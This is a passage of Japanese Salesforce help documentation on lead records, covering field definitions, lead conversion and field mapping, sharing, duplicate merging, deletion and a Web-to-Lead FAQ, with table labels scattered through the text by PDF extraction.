ドの Dun & Bradstreet (D&B) 項目が表示されます。別の D&B 企

D&B 企業

業レコードをリードに関連付ける必要がある場合は、ルッ
クアップを使用します。この項目は、Data.com Prospectorま
たは Data.com Clean を使用する組織でのみ使用できます。

 (Data.com)Data.com の会社の ID。Salesforce レコードを Data.com レコー
ドと (手動クリーンアップまたは自動クリーンアップジョ

Data.com キー

ブによって) 比較するとき、Data.com で一致するレコード
が検出されると、2 つのレコードはこの項目の数値によっ
てリンクされます。

リードの説明。この項目には最大 32 KB までのデータを入
力できます。レポートには、最初の 255 文字しか表示され
ません。

説明

取引先責任者が電話による連絡を希望するかどうか。
Data.com を使用する場合、[電話] 項目の値は検索結果お

電話連絡拒否

よび取引先責任者カードでは非表示になり、レコードを
エクスポートするときに作成される .csv ファイルでは
空白になります。
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Data.com または D&B
値を受け入れる

説明項目

 (Data.com)リードのメールアドレス。有効な形式のメールアドレス
(jsato@acme.com など) になっていることが必要です。この
項目は最大 80 文字まで入力できます。
この項目のメールアドレスをクリックすると、ユーザの
個人用メールアプリケーションを使用してメールが送信

メール

されます。Gmail ボタンとリンク機能が有効な場合、項目
の横にあるGmailリンクをクリックして、Gmailアカウント
からメールを送信できます。詳細は、「Salesforce での
Gmail™」 (ページ 4295)を参照してください。

取引先責任者がメールの受信を希望するかどうか。Data.com

を使用する場合、[メール] 項目の値は検索結果および取
メール送信除外

引先責任者カードでは非表示になり、レコードをエクス
ポートするときに作成される .csv ファイルでは空白に
なります。

リードの FAX 番号。この項目は最大 40 文字まで入力でき
ます。

Fax

リードは同報ファックスを送信しないように要求してい
ます。

Fax 送信除外

 (Data.com)リード編集ページに表示されるリードの名前。この項目
は最大 40 文字まで入力できます。

名

ローカル言語に翻訳されたリードの名。名(ローカル)

 (Data.com)リードの会社の主要業務。エントリは、システム管理者
が設定した選択可能な値リストから選択したものです。
選択リストの値には、40 文字まで入力可能です。

業種

 (Data.com)リード編集ページに表示されるリードの姓。この項目は
最大 80 文字まで入力できます。

姓

ローカル言語に翻訳されたリードの姓。姓(ローカル)

リードの所有者が最後に変更された日。最終移行日

リードにおける、すべての通貨金額項目のデフォルト通
貨。金額はリード通貨で表示され、ユーザの個人設定の

リード 通貨

通貨にも変換されます。マルチ通貨を使用する組織での
み表示されます。

リードが属するディビジョン。ディビジョンを使用して
データを分割している組織でのみ利用可能。

リード ディビジョン
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Data.com または D&B
値を受け入れる

説明項目

リードに割り当てられた所有者。リード 所有者

どのような選択リスト値がそのレコードで使用可能かを
決定する項目名。レコードタイプは、リードプロセスに

リードレコードタイプ

関連する場合があります。使用可能なエディションは、
Professional Edition、Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition です。

 (Data.com)広告、パートナー、Web などのリードソース。エントリ
は、システム管理者が設定した選択可能な値リストから

リードソース

選択したものです。選択リストの値には、40 文字まで入
力可能です。

リード状況 (オープン、連絡済み、評価済みなど)。エント
リは、システム管理者が設定した選択可能な値リストか

リード状況

ら選択したものです。選択リストの値には、40 文字まで
入力可能です。

リード編集ページに表示されるリードのミドルネーム。
この項目は最大 40 文字まで入力できます。

ミドルネーム

メモ: この項目を有効化するには、Salesforce カスタ
マーサポートにお問い合わせください。次に、[設
定] から、[クイック検索] ボックスに「ユーザイン
ターフェース」と入力し、[ユーザインターフェース]

を選択します。その後で、[個人名の名前サフィック
スを有効化] を選択します。

ローカル言語に翻訳されたリードのミドルネーム。ミドルネーム(ローカル)

メモ: この項目を有効化するには、Salesforce カスタ
マーサポートにお問い合わせください。次に、[設
定] から、[クイック検索] ボックスに「ユーザイン
ターフェース」と入力し、[ユーザインターフェース]

を選択します。その後で、[個人名の名前サフィック
スを有効化] を選択します。

携帯電話番号。この項目は最大 40 文字まで入力できます。携帯

リード項目を最後に変更したユーザ。変更日時も含まれ
ます。ここでは、リードの関連リスト項目のいずれかに
行った変更は追跡しません。(参照のみ)

更新者

 (Data.com)リードの詳細ページに表示されるリードの名、ミドルネー
ム (ベータ)、姓、肩書き (ベータ) を合わせたもの。

名前
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Data.com または D&B
値を受け入れる

説明項目

 (D&B)リードの会社の従業員数。従業員数

 (Data.com)リードの主電話番号。この項目は最大 40 文字まで入力で
きます。

電話

リードをパートナーユーザが所有していることを示す、
参照のみ項目。

パートナー取引先

Hot (見込み有り)、Warm (将来見込み有り)、Cold (見込み無
し) など、リードの評価または見込みを示す。エントリ

評価

は、システム管理者が設定した選択可能な値リストから
選択したものです。選択リストの値には、40 文字まで入
力可能です。

リードがリードの所有者によって参照または編集された
ことを示すフラグ。リード編集ページまたは詳細ページ

既読

にはフラグは表示されません。「既読」のマークが付け
られたリードは、リードのリストビューの「未読」列に
チェックマークが付けられません。

リードを示す敬称。様、教授など。エントリは、システ
ム管理者が設定した選択可能な値リストから選択したも
のです。選択リストの値には、40 文字まで入力可能です。

敬称

ユーザの住所の都道府県部分。エントリは標準値の選択
リストから選択するか、テキストとして入力します。テ
キスト項目の場合、最大 80 文字まで入力できます。

都道府県

リード編集ページに表示されるリードの名前の肩書き。
この項目は最大 40 文字まで入力できます。

肩書き

メモ: この項目を有効化するには、Salesforce カスタ
マーサポートにお問い合わせください。次に、[設
定] から、[クイック検索] ボックスに「ユーザイン
ターフェース」と入力し、[ユーザインターフェース]

を選択します。その後で、[個人名の名前サフィック
スを有効化] を選択します。

 (Data.com)リードの会社での地位。この項目は最大 80 文字まで入力
できます。

役職

リードがリードの所有者によって参照または編集されな
かったことを示すフラグ。リード編集ページまたは詳細

未読フラグ

ページにはフラグは表示されません。「未読」のマーク
が付けられたリードは、リードのリストビューの「未読」
列にチェックマークが付けられます。
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Data.com または D&B
値を受け入れる

説明項目

システム管理者が設定したリードのカスタムリンクのリ
スト。

カスタムリンク

www.acme.com など、会社の Web サイトの URL。この項目
は最大 255 文字まで入力できます。最初の 50 文字だけが
表示されます。

Web サイト

 (Data.com)リードの住所の郵便番号部分。この項目は最大 20 文字ま
で入力できます。

ZIP

関連トピック:

リード項目の対応付け
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評価済みリードの取引開始

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リードの取引を開始する
• リード、取引先、取引

先責任者、および商談
に対する「作成」およ
び「編集」

および

「取引の開始」

および

関連キャンペーンに対
する「参照」

リードの取引開始時に重
複レコードの作成を回避
する
• 「取引開始済みのリー

ドに入力規則が必須」

リードを評価し取引先責任者に変換して、セールスプロセスを進めます。この
取引先責任者を、Salesforce にすでに存在する取引先、または作成する取引先に
関連付けます。リードの取引開始により商談が見込まれる場合は、同時に商談
レコードを作成します。
リードの取引を開始したら、それを元に戻すことはできません。リードを取引
先責任または取引先に変換するプロセスで、重複するレコードが作成されるこ
とがあります。レコードが重複すると、警告が表示されます (リードの変換時は
システム管理者が設定したカスタム警告は表示されません)。このような重複レ
コードの処理方法は、システム管理者が Apex リード変換および重複管理をどの
ように設定したかによって異なります。たとえば、取引開始を終了する前に重
複を解決する必要が生じる場合があります。取引が開始されると、リードレコー
ドはSalesforce Classicで検索できなくなります。取引開始済みのリードから作成さ
れた新しい取引先、取引先責任者、または商談レコードは検索できます。Lightning

Experience では、変換済みのリードのレコードと、変換済みのリードに基づく新
規レコードの両方を検索できます。ただし、検索結果ページから、変換済みの
リードのレコードを参照または編集することはできません。
1. リードレコードを変換する場合は、既存の取引先を選択するか、作成する取

引先名を入力します。
2. Salesforce Classic のみ: 個人取引先を更新する場合は、個人取引先のリードソー

スをリードの値で上書きするオプションを選択します。
3. 商談レコードを作成する場合は、商談に名前を付けます。
4. 取引を開始します。

関連トピック:

リードの取引開始に関する考慮事項
リード項目の対応付け
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リードの取引開始に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

評価済みリードを取引先、取引先責任者、および商談に変換すると、どのよう
になるかを学習します。
評価済みリードを変換すると、Salesforce がキャンペーンメンバーを新規の取引
先責任者に移行します。管理者からリードを編集する権限が与えられていない
場合は、リードは参照のみのレコードになります。既存の取引先と取引先責任
者が、リードに指定された名前を共有する場合、この既存の取引先と取引先責
任者の更新を選択できます。Salesforce は、リードの情報を空白の項目に追加し
ます。Salesforce が既存の取引先および取引先責任者のデータを上書きすること
はありません。
リードの活動予定および完了した活動はすべて、取引先、取引先責任者、およ
び商談に添付されます。レコードの所有者を割り当てて、フォローアップ ToDo

のスケジュールを設定できます。新しい所有者を割り当てた場合は、その新し
い所有者に活動予定のみが割り当てられます。リードのカスタム項目がある場
合、その情報を取引先、取引先責任者、または商談のカスタム項目に入力できます。取引開始済みのリードは
参照できませんが、リードレポートに表示されます。取引開始済みのリードに含まれる選択リストの値が変更
されると、Salesforceが、取引開始済みのリードの [最終更新日]システム項目と [最終更新者]システム項目を
更新します。

リードが既存の取引先責任者と一致し、両方のレコードが同じキャンペーンにリンクさ
れている場合、キャンペーンメンバーの状況はキャンペーンのライフサイクルでより後

キャンペーン

になるのがどちらであるかによって決定されます。たとえば、リードメンバーの状況が
「送信済み」であり、取引先責任者メンバーの状況が「レスポンスあり」である場合、
「レスポンスあり」の値が取引先責任者に適用されます。
関連するキャンペーン情報は、キャンペーンへのアクセス権をユーザが共有しているか
どうかに関係なく、新しい取引先責任者レコードに常に関連付けられます。
複数のキャンペーンが 1 つのリードに関連付けられている場合、キャンペーンへのアク
セス権をユーザが共有しているかどうかに関係なく、最後に関連付けられたキャンペー
ンが商談の [主キャンペーンソース] 項目に適用されます。

リードを既存の取引先に変換した場合、自動的にはその取引先をフォローしません。た
だし、リードを新しい取引先に変換すると、Chatter設定の取引先に対するフィード追跡
を無効にしていない限り、新しい取引先を自動的にフォローします。

Chatter

Data.com プレミアムを使用している場合、Data.com からリードを追加すると、対応する
D&B 企業レコード (Data.com にある場合) が Salesforce で自動的に作成され、その [D&B 企

Data.com / D&B 企業

業]項目を介してリードレコードにリンクされます。後でリードを変換する場合は、次
のようにします。
• 取引先が変換によって作成される場合、リードの [会社 D-U-N-S 番号] 項目値が

取引先の [D-U-N-S 番号] 項目に変更され、リードの [D&B 企業] 項目値が取引先
の [D&B 企業] 項目に変更されます。

• リードの [Data.com キー]項目値は取引先責任者の [Data.com キー]項目に変更
されます。
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Data.comコーポレートを使用している場合、D&B 企業レコードは作成されませんが、リー
ドの [Data.com キー] 項目値は取引先責任者の [Data.com キー] 項目に変更されま
す。

新しい取引先、取引先責任者、および商談はリードとして同じディビジョンに割り当て
られます。リードの変換中に既存の取引先を更新すると、取引先のディビジョンは変更
されず、新しい取引先責任者と商談は取引先のディビジョンを継承します。

ディビジョン

リードを取引先責任または取引先に変換するプロセスで、重複するレコードが作成され
ることがあります。レコードが重複すると、警告が表示されます (リードの変換時はシ

重複管理

ステム管理者が設定したカスタム警告は表示されません)。このような重複レコードの
処理方法は、システム管理者が Apex リード変換および重複管理をどのように設定した
かによって異なります。たとえば、取引開始を終了する前に重複を解決する必要が生じ
る場合があります。

検索条件に基づく商談テリトリー割り当ては、商談がリード変換によって作成された場
合にはトリガされません。

エンタープライズ
テリトリー管理

取引を開始しているリードを使用して既存の取引先責任者を更新する場合、複数選択リ
スト項目のリード情報は、取引先責任者の一致項目が空白の場合にのみ既存の取引先責
任者に継承されます。

既存の取引先責任
者

リードの [会社名(ローカル)] は、関連付けられている標準名前項目と共に、自動的に
[取引先名 (ローカル)] に対応付けられます。

ローカルリード名

個人取引先が有効になっている場合は、個人取引先または法人取引先のいずれかに、
リードを変換できます。[会社]項目に値がないリードは、個人取引先に変換されます。
[会社] 項目に値のあるリードは、法人取引先に変換されます。
異なるリードレコードタイプとページレイアウトを使用して、個人取引先に変換される
リードと、法人取引先に変換されるリードを区別することをお勧めします。具体的に

個人取引先

は、個人取引先に変換されるリードのページレイアウトから [会社] 項目を削除しま
す。次に、法人取引先に変換されるリードのページレイアウトで [会社] 項目を必須に
します。
リードを変換して、別のユーザが所有する個人取引先にそれを追加すると、その個人取
引先の所有者が取引先責任者の所有者になります。
別のユーザが所有するリードを変換して、自分が所有する個人取引先にそれを追加する
と、そのリード所有者が取引先責任者の所有者になります。

リードにレコードタイプがある場合、リードを変換するユーザのデフォルトレコードタ
イプが、リードの変換中に作成されたレコードに割り当てられます。
リードを変換するユーザのデフォルトのレコードタイプによって、変換時に使用できる
リードの変換元値が決まります。必要なリードの変換元値を使用できない場合、リード
を変換するユーザのデフォルトのレコードタイプに値を追加します。

レコードタイプ

取引が開始されると、リードレコードは Salesforce Classic で検索できなくなります。ただ
し、変換済みのリードから作成された新しい取引先、取引先責任者、商談レコードは検

検索
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索できます。Lightning Experienceでは、変換済みのリードのレコードと、変換済みのリー
ドに基づく新規レコードの両方を検索できます。ただし、検索結果ページから、変換済
みのリードのレコードにアクセスして参照または編集することはできません。

システムは、リードの標準項目を取引先、取引先責任者、商談の標準項目に自動的に対
応付けます。
リードのカスタム項目に関しては、システム管理者が、取引先、取引先責任者、商談の
カスタム項目に対応付ける方法を指定することができます。

標準リード項目お
よびカスタムリー
ド項目

システムは、空の標準リード選択リスト項目を対応付けるときに、取引先、取引先責任
者、商談のデフォルトの選択リストを割り当てます。組織でレコードタイプを使用して
いる場合、空の値は新しいレコード所有者のデフォルトの選択リストの値で置き換えら
れます。

組織でテリトリー管理を使用している場合、取引先割り当てルールで新しい取引先を評
価し、1 つ以上のテリトリーに割り当てることができます。ルールによって取引先が完

テリトリー管理

全に 1 つのテリトリーに割り当てられる場合、商談もそのテリトリーに割り当てられま
す。ルールによって取引先が複数のテリトリーに割り当てられる場合、商談はどのテリ
トリーにも割り当てられません。

リードの変換中にトリガが起動されます。必須のカスタム項目と入力規則が適用されま
す。
リードの更新中に、リードを変換するトリガによって警告が発生する可能性がありま
す。この警告によって、リードにアクセスできなくなったことがユーザに通知されま

Apex トリガ

す。リードは取引先責任者に変換中であるため、アクセスできません。代わりに新しい
取引先責任者を参照してください。
[リードの設定] ページの [取引開始済みのリードに入力規則が必須] チェックボックスが
オフになっている場合、Salesforceはリードの変換時にルックアップ検索条件を無視しま
す。

有効な承認プロセスに関連付けられているリード、または待機中のワークフローアク
ションがあるリードを変換することはできません。
個人取引先にリードを変換しても、ワークフロールールは実行されません。

ワークフロー

リード所有者以外のユーザがリードの所有者を変更した場合、元の所有者に割り当てら
れていたそのリードに関連するすべてのワークフロー ToDo (メールアラートを除く) は新
しいリード所有者に割り当てられます。リード所有者およびリード変更者以外のユーザ
に割り当てられていたワークフロー ToDo は変更されません。
リードの取引開始に対する入力規則とトリガが有効になっている場合、リードの取引を
開始するとリードへのワークフローアクションが実行される可能性があります。たとえ
ば、リード項目を更新する、またはリードの所有者を転送する有効なワークフロールー
ルがある場合、取引が開始された結果として [リード] タブにリードが表示されていなく
ても、リードの取引が開始されたときにそのルールが適用される可能性があります。
ワークフロープロセスが完了するのを待ってからリード項目を更新します。そうしない
と、保存やリードの取引開始が失敗します。リードの取引が開始された結果、ワークフ
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ロールールによって新しい ToDo が作成された場合、その ToDo は新しく作成された取引
先責任者に割り当てられ、関係する取引先または商談に関連付けられます。

関連トピック:

評価済みリードの取引開始

リード項目の対応付け

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リードを変換するときに、リードの項目を取引先責任者、取引先、個人取引先、
商談の項目に変換する方法について説明します。
リードレコードを変換すると、リードの標準項目が取引先責任者、取引先、個
人取引先、商談の項目に対応付けられます。カスタム項目を使用する場合は、
システム管理者が、新しく作成されたレコードで対応付ける項目を指定します。

移行先リード項目

取引先: [住所(請求先)]

個人取引先: [住所(郵送先)]、[住所(請求先)]

取引先責任者: [町名・番地(郵送先)]

町名・番地

取引先: [年間売上]

個人取引先: [年間売上]

年間売上

商談: [主キャンペーンソース]

この項目には、取引の開始前にリードに関連付けられている
キャンペーンが表示されます。指定のキャンペーンの貸方に記

キャンペーン

入する収入額の 100% を提供します。複数のキャンペーンに関
連付けられたリードの場合、営業担当がアクセスできなくて
も、最後に関連付けられたキャンペーンが商談に追加されま
す。

取引先: [市区郡(請求先)]

個人取引先: [市区郡(郵送先)]、[市区郡(請求先)]

市区町村

取引先: [取引先名]

取引先責任者: [取引先]

会社

商談: [商談名]、[取引先名]

取引先: [取引先名 (ローカル)]会社名(ローカ
ル)
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移行先リード項目

取引先: [国(請求先)]

個人取引先: [国(郵送先)]、[国(請求先)]

国

取引先: [国コード(請求先)]

個人取引先: [国コード(郵送先)]、[国コード(請求先)]

国コード

取引先責任者: [説明]説明

取引先責任者: [電話連絡拒否]

既存の取引先責任者に変換されたリードでは、この項目は更新されません。
電話連絡拒否

個人取引先: [電話連絡拒否]

取引先責任者: [メール]

個人取引先: [メール]

メール

取引先責任者: [メール送信除外]

既存の取引先責任者に変換されたリードでは、この項目は更新されません。
メール送信除外

個人取引先: [メール送信除外]

取引先: Fax

個人取引先: Fax

Fax

取引先責任者: Fax

取引先責任者: [Fax 送信除外]

個人取引先: [Fax 送信除外]

Fax 送信除外

取引先責任者: [名]

個人取引先: [名]

名

取引先責任者: [名(ローカル)]

個人取引先: [名(ローカル)]

名(ローカル)

取引先: [業種]

個人取引先: [業種]

業種

個人取引先: [非公式名]非公式名

取引先責任者: [姓]

個人取引先: [姓]

姓
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移行先リード項目

取引先責任者: [姓(ローカル)]

個人取引先: [姓(ローカル)]

姓(ローカル)

取引先: [緯度(請求先)]

個人取引先: [緯度(郵送先)]、[緯度(請求先)]

緯度

取引先: [所有者]

取引先責任者: [所有者]

リード 所有者

商談: [所有者]

取引先責任者: [リードソース]

商談: [リードソース]

リードソース

個人取引先: [リードソース]

取引先: [経度(請求先)]

個人取引先: [経度(郵送先)]、[経度(請求先)]

緯度

個人取引先: [ミドルネーム]ミドルネーム

取引先責任者: [携帯]

個人取引先: [携帯]

携帯

取引先: [従業員数]

個人取引先: [従業員数]

従業員数

商談: [パートナー取引先]

既存の商談に変換されたリードでは、この項目は更新されません。
パートナー取引先

取引先: [電話]

個人取引先: [電話]

電話

取引先責任者: [電話]

取引先: [取引先郵便番号 (請求先)]

個人取引先: [取引先責任者 郵便番号(郵送先)]、[取引先郵便番号 (請求先)]

郵便番号

取引先: [評価]

個人取引先: [評価]

評価

個人取引先: [敬称]敬称
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移行先リード項目

取引先: [都道府県(請求先)]

個人取引先: [都道府県(郵送先)]、[都道府県(請求先)]

都道府県

取引先: [都道府県コード(請求先)]

個人取引先: [都道府県コード(郵送先)]、[都道府県コード(請求先)]

都道府県コード

取引先: [町名・番地(請求先)]

個人取引先: [町名・番地(郵送先)]

町名・番地

個人取引先: [肩書き]肩書き

取引先責任者: [役職]

個人取引先: [役職]

役職

取引先: [Web サイト]

個人取引先: [Web サイト]

Web サイト

商談完了日
リードの変換プロセス中に、Salesforceの会計年度設定に応じて、作成する商談の完了日が自動的に割り当てら
れます。

Salesforce で割り当てられる商談完了日Salesforce の会計年度

当会計四半期の最終日。標準

当会計期間の最終日。現在の日付の会計年度が定義されていない場合、完
了日は当カレンダー四半期の最終日になります。

カスタム

関連トピック:

評価済みリードの取引開始
リードの取引開始に関する考慮事項
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Salesforce Classic でのリード共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

自分が所有するデータの基本共有モデルを超えて、共有権限をリードごとに拡
張します。
システム管理者は、組織の共有モデルを定義します。リードの共有モデルが「非
公開」または「公開/参照のみ」の場合は、リード共有を使用してリードへのア
クセス権を拡張できます。ただし、組織のデフォルトのアクセス権を超えてア
クセス権を制限することはできません。
共有の詳細を表示するには、リードの詳細ページで [共有] をクリックします。

関連トピック:

リード

重複するリードのマージ

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

複数のレコードの主要項目の違いを特定し、上位 3 つのレコードの最適な情報
をマージします。

Lightning Experience での重複するリードのマージ
重複レコードをマージして、重要な見込み客のみに対応します。
Salesforce Classic での重複リードのマージ
重複レコードをマージして、重要な見込み客のみに対応します。
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Lightning Experience での重複するリードのマージ

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リードを参照する
• リードに対する「参

照」

リードをマージする
• リードに対する「削

除」

重複レコードをマージして、重要な見込み客のみに対応します。
1. リードレコードを選択します。重複が存在する場合、重複は [潜在的な重複]

関連リストに表示されます。または、リードに表示される [重複を表示]リン
クをクリックします。

2. マージするリードレコードを 3 つまで選択します。[続行]をクリックします。
3. マスタとするリードレコードを 1 つ選択します。
4. 保持する項目値を選択します。
5. レコードをマージすることを確認し、[次へ] をクリックして [リードのマー

ジ] をクリックします。

Salesforce Classic での重複リードのマージ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

リードを参照する
• リードに対する「参

照」

リードをマージする
• リードに対する「削

除」

重複レコードをマージして、重要な見込み客のみに対応します。
1. リードレコードを選択します。
2. [重複の検索] をクリックします。
3. リードの一致リストからマージするリードを 3 つまで選択します。

必要に応じて、新しいリード名または会社名を入力して [検索]をクリックす
ると、マージする別のリードを探すことができます。Salesforceは、[名前]項
目および [会社] 項目に基づいて、語句検索を行います。また、すべてのエ
ントリの後にワイルドカードがあるものとみなします。検索結果には、入力
したいずれかの項目が一致するリードが示されます。たとえば、「Acme」に
勤務する「Bob Jones」と入力すると、検索結果には、あらゆる会社の「Bob

Jones」という人物と、「Acme」という会社のすべてリードが示されます。

4. [リードのマージ] をクリックします。
5. 「マスタレコード」となるリードを 1 つ選択します。Salesforce では、マスタ

レコードの非表示項目または参照のみ項目のデータをすべて保持します。
「参照のみ項目の編集」権限がある場合は、どの参照のみ項目を保持するか
を選択できます。マージプロセス中、非表示項目は表示されません。

6. 残す項目を各レコードから選択します。
7. [マージ] をクリックします。
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8. [OK] をクリックします。

関連トピック:

重複する取引先責任者のマージ
重複する取引先のマージ

リードの削除に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

削除するリードに関連付けられたレコードがどのようになるかを把握します。
リードを削除すると、リードレコードがごみ箱に移動します。関連付けられた
メモ、添付ファイル、または活動もリードと一緒に削除されます。リードを復
元すると、関連付けられたメモ、添付ファイル、または活動も復元されます。

FAQ - リードとして見込みのある商談の追跡

FAQ - リード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

• リードとは?

• リードを使用する利点は?

• 既存の取引先や取引先責任者をリードとして取引開始できますか?

• Web サイトから取り込むことができるリード件数は?

• Web で生成されたリード数が組織の制限数に到達するとどうなりますか?

• 複数の Web ページからリードを取り込むことはできますか?

• Web サイトのリードを自動的に送信できますか?

• Web マスタは [Web-to-リード] ページをどうやってテストしますか?

• 新しい Web 生成リードを所有するのは誰ですか?

• Web で生成されたリードに割り当てられる状況は?

• リードを絶対に紛失しないようにする方法は?

• 新規リードがどれか、どうすればわかりますか?

• リードの取引を開始するとどうなりますか?

• 取引開始処理中に、リード項目は他の項目にどのように対応付けされますか?
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リードとは?

リードとは、商品とサービスに興味を持つ人のことです。リードを上顧客に変換することは、ビジネスの成功
を導きます。組織的で系統的な方法でリードを管理して、生成するリード数と取引開始するリード数の両方を
増やすことができます。

関連トピック:

FAQ - リード

リードを使用する利点は?

会社はリードを使用して、見込み客と既存の顧客の 2 つのリストを別々に管理できます。見込み客をリードと
して保存し、リードが評価されるとすぐに、取引先、取引先責任者、および必要に応じて商談に変換できま
す。
リードは、リードの作成とマスマーケティングを担当するチームと営業チームが会社で 2 つに分かれている場
合、特に有用です。リード作成チームは、[リード] タブの作業に集中し、商談チームは、[取引先]、[取引先責
任者]、[商談] のタブを使用できます。

関連トピック:

FAQ - リード

既存の取引先や取引先責任者をリードとして取引開始できますか?

いいえ。代わりに、取引先または取引先責任者の商談を作成します。リードを使用する場合は、リードに変換
する取引先または取引先責任者を含めたレポートを作成し、エクスポートしてから、リードとしてインポート
します。

関連トピック:

FAQ - リード

Web サイトから取り込むことができるリード件数は?

Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織では、24

時間に最大500件のリードを取り込むことができます。会社で定期的にこの制限を上回る Web-to-リードを生成
する場合は、任意のページの上部にある [ヘルプ & トレーニング] をクリックし、[私のケース] タブを選択し
て、Salesforce に上限引き上げについて直接お問い合わせください。
組織が 24 時間の制限に達した場合は、Salesforce では Web-to-ケース要求および Web-to-リード要求の両方を含む
待機中の要求のキューに追加の要求を格納します。要求は制限が更新されると提出されます。待機中の要求の
キューの制限は合計 50,000 件です。組織が待機中の要求の制限に達すると、制限を超える要求は却下され、
キューに入れられません。システム管理者は、提出が却下された最初の 5 件のメールに関して通知を受け取り
ます。組織の待機中の要求の制限を変更するには、Salesforce カスタマサポートにお問い合わせください。

関連トピック:

FAQ - リード
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Web で生成されたリード数が組織の制限数に到達するとどうなりますか?

Web-to-リード要求の 1 日の制限は 500 件です。会社が生成するリードが最大許可数を超えると、デフォルトの
リード作成者 ([Web-to-リード] 設定ページで指定) は、取得情報が含まれたメールを受信します。毎日 500 件を
超える Web-to-リード要求を生成する場合は、カスタマサポートにお問い合わせください。

関連トピック:

FAQ - リード

複数の Web ページからリードを取り込むことはできますか?

はい、できます。リードを取り込む Web ページに、生成した HTML コードを挿入します。それらの Web ページ
のどこからでも、情報が送信されるたびにリードが 1 件作成されます。

関連トピック:

FAQ - リード

Web マスタは [Web-to-リード] ページをどうやってテストしますか?

フォームの送信時にデバッグページを表示するには、Web-to-リードのページコードに次の行を追加します。こ
の行は、[Web-to-リード] ページを Web サイトに公開する前に忘れずに削除してください。
<input type="hidden" name="debug" value="1">

関連トピック:

FAQ - リード

新しい Web 生成リードを所有するのは誰ですか?

システム管理者は、Web 生成リードを異なるユーザやキューに自動的に割り当てる方法を決定するリードの割
り当てルールを作成できます。さらに、システム管理者は、[リードの設定] をカスタマイズして、割り当て
ルールから所有者を決定できなかった場合にすべての Web 生成リードが割り当てられる [デフォルトのリード
所有者] を指定できます。割り当てルールを使用しない場合、すべての Web 生成リードは、[デフォルトのリー
ド作成者] ([Web-to-リード] 設定で指定) に割り当てられます。

関連トピック:

FAQ - リード

Web で生成されたリードに割り当てられる状況は?

Web で生成されたすべてのリードには、管理者が [リード状況]選択リストの値を編集するときに指定した「デ
フォルトの状況」と同じ状況が割り当てられます。さらに、Web で生成されたリードには「未読」フラグが付
き、リードリストビューの [未読] 欄にチェックマークが付きます。Web で生成されたリードをユーザが参照ま
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たは編集すると、そのリードは自動的に「既読」に変わります。このように、すべての新しいリードは、[私
の未読リード] リストビューを使用して、簡単に見つけることができます。

関連トピック:

FAQ - リード

リードを絶対に紛失しないようにする方法は?

Web-to-リード要求の 1 日の制限は 500 件です。Web から取り込まれたリードの件数が 1 日の上限を超えた場合
は、デフォルトのリード作成者 ([Web-to-リード設定] ページで指定) に対してリード情報が含まれたメールが送
信されます。
Web-to-リード設定にエラーがあるために新しいリードを生成できない場合は、エラーの修正をサポートできる
ように、カスタマーサポートに通知されます。
Salesforceでは、スケジュール設定されたSalesforceのダウンタイム中にリードが送信された場合でもリードが紛
失されないようにします。

関連トピック:

FAQ - リード

新規リードがどれか、どうすればわかりますか?

リードが割り当てられると、手動で移行、インポート、Web で生成されたリードは「未読」としてマークされ
ます。つまり、リードのリストビューの [未読] 列にチェックマークが付きます。新しいリードを参照するに
は、[リード] タブの [私の未読リード] リストビューを選択します。[未読] リードを参照または編集すると、自
動的に「既読」としてマークされます。

関連トピック:

FAQ - リード

リードの取引を開始するとどうなりますか?

リードの取引を開始すると、Salesforceが、取引を開始しているリードの情報を使用して、取引先、取引先責任
者、および商談を作成します。Salesforceがキャンペーンメンバーを新規の取引先責任者に移行し、リードは参
照のみのレコードになります。既存の取引先と取引先責任者が、リードに指定された名前を共有する場合、こ
の既存の取引先と取引先責任者の更新を選択できます。Salesforce は、リードの情報を空白の項目に追加しま
す。Salesforce が既存の取引先および取引先責任者のデータを上書きすることはありません。
リードの活動予定および完了した活動はすべて、取引先、取引先責任者、および商談に添付されます。レコー
ドの所有者を割り当てて、フォローアップ ToDo のスケジュールを設定できます。新しい所有者を割り当てた
場合は、その新しい所有者に活動予定のみが割り当てられます。リードのカスタム項目がある場合、その情報
を取引先、取引先責任者、または商談のカスタム項目に入力できます。取引開始済みのリードは参照できませ
んが、リードレポートに表示されます。取引開始済みのリードに含まれる選択リストの値が変更されると、
Salesforce が、取引開始済みのリードの [最終更新日] システム項目と [最終更新者] システム項目を更新しま
す。
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取引が開始されると、リードレコードは Salesforce Classic で検索できなくなります。取引開始済みのリードから
作成された新しい取引先、取引先責任者、または商談レコードは検索できます。

関連トピック:

FAQ - リード

取引開始処理中に、リード項目は他の項目にどのように対応付けされますか?

リードの取引を開始すると、標準のリード項目のデータは、標準の取引先、取引先責任者、商談の各項目に移
行されます。リードのカスタム項目のデータは、システム管理者の指定に従って、取引先、取引先責任者、商
談のそれぞれのカスタム項目に対応付けされます。
標準のリード選択リスト項目が空の場合、取引先、取引先責任者、商談のデフォルトの選択リスト値が継承さ
れます。レコードタイプを使用している場合、リードの変換時に作成されるすべてのレコードには、新規作成
